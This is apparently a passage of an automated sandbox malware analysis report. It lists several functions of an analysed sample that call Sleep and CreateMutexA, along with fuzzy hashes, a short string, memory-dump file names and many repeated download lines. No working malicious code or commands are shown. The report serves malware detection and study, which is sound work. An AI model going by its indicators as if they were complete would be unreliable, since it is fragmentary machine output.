Opcode Fuzzy Hash: 5ce9eef7b5e21ab70a08445a9442312a5f12d85ca0c3b19b41f8cd90b37f11f9
Instruction Fuzzy Hash: 2931F5317002409BEB28DB7CDC897AEFF62FB85314F24861BE455973D5C776998087A2

Function 005DA1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 005DA963
CreateMutexA.KERNEL32(00000000,00000000,00633254), ref: 005DA981

Strings

T2c, xrefs: 005DA970

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2c
API String ID: 1464230837-2906602477
Opcode ID: 362f3748aa6cbb50fa99ebb53b45d2887141740dddf1063c3f39678a1e505f52
Instruction ID: 5a216570780e6c9eb63a29b05d12405acac6c8b1425e01107f7344ce5d8ddce3
Opcode Fuzzy Hash: 362f3748aa6cbb50fa99ebb53b45d2887141740dddf1063c3f39678a1e505f52
Instruction Fuzzy Hash: F231E6316002419BFB289B6CDC8976EBB62FB86314F24461BE054973D5D77699808762

Function 005DA418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 005DA963
CreateMutexA.KERNEL32(00000000,00000000,00633254), ref: 005DA981

Strings

T2c, xrefs: 005DA970

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2c
API String ID: 1464230837-2906602477
Opcode ID: 8b78c8b3f6a88fd3a04103ed7e403baf3282f8d2b2e92eef262331546c92afef
Instruction ID: da51efd81da274b982ef875a5df19f6d9720c5be6ea7b7c1c3e80edeba1692fc
Opcode Fuzzy Hash: 8b78c8b3f6a88fd3a04103ed7e403baf3282f8d2b2e92eef262331546c92afef
Instruction Fuzzy Hash: E43104316002409BEF289B7CD889BAFBB62FBD1314F24421AE454973DAD775998087A6

Function 005DA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 005DA963
CreateMutexA.KERNEL32(00000000,00000000,00633254), ref: 005DA981

Strings

T2c, xrefs: 005DA970

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2c
API String ID: 1464230837-2906602477
Opcode ID: ceb5cc74c84431df100bd33870a890376fe9d5c82ec73360c4dbed55874f0808
Instruction ID: 449d467806d278ff1f800c208bd4d72799b87ce5a68ad44cb9ab145ea2c36d96
Opcode Fuzzy Hash: ceb5cc74c84431df100bd33870a890376fe9d5c82ec73360c4dbed55874f0808
Instruction Fuzzy Hash: E8311531A00240CBFF28DB7CD8897AEBB62FBC5314F24861BE455973D6C77599808766

Function 005DA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 005DA963
CreateMutexA.KERNEL32(00000000,00000000,00633254), ref: 005DA981

Strings

T2c, xrefs: 005DA970

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249716025.000000000086C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249751773.00000000008A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249777113.00000000008AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249832231.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249854306.00000000008DB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249879525.00000000008E0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249900776.00000000008E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249928142.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5d0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2c
API String ID: 1464230837-2906602477
Opcode ID: 6701281630446cb943660ab7dc2f5f4e799337aaa5a73ea74ca13c4b17f95a54
Instruction ID: 4b83360868dbac24396b87ab060c07c3681b79a0857f39bf44e4df9583d6c801
Opcode Fuzzy Hash: 6701281630446cb943660ab7dc2f5f4e799337aaa5a73ea74ca13c4b17f95a54
Instruction Fuzzy Hash: 5431F531A00240DBEB28DB7CDC897AFBF62FBC1314F24861BE055973D6C775998086A6

Function 005D9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 005DA963
CreateMutexA.KERNEL32(00000000,00000000,00633254), ref: 005DA981

Strings

T2c, xrefs: 005DA970

Memory Dump Source

Source File: 00000000.00000002.2248533839.00000000005D1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000000.00000002.2248509270.00000000005D0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248533839.0000000000632000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248614903.0000000000639000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248638203.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248658829.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248871141.000000000079E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248891579.00000000007A0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007B8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248917925.00000000007C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248963324.00000000007C9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2248984847.00000000007CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249003687.00000000007CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249037243.00000000007CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249054429.00000000007CF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249078341.00000000007D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249109597.00000000007E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249131452.00000000007E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249149012.00000000007E5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249165413.00000000007E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249190846.00000000007F6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249213386.00000000007F7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249237162.00000000007FA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249258824.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249280265.00000000007FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249308377.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249338998.0000000000826000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249368198.0000000000829000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249388920.000000000082A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249415032.0000000000835000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249438064.000000000083D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249460861.0000000000841000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249485036.0000000000849000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249508988.000000000084C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249530748.000000000084D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249548825.000000000084F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249568850.0000000000850000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249589774.0000000000855000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249609241.0000000000856000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249626778.0000000000857000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249645962.000000000085F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249668282.0000000000862000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249693862.000000000086A000.00000080.00000001.01000000.00000003.sdmpDownload File
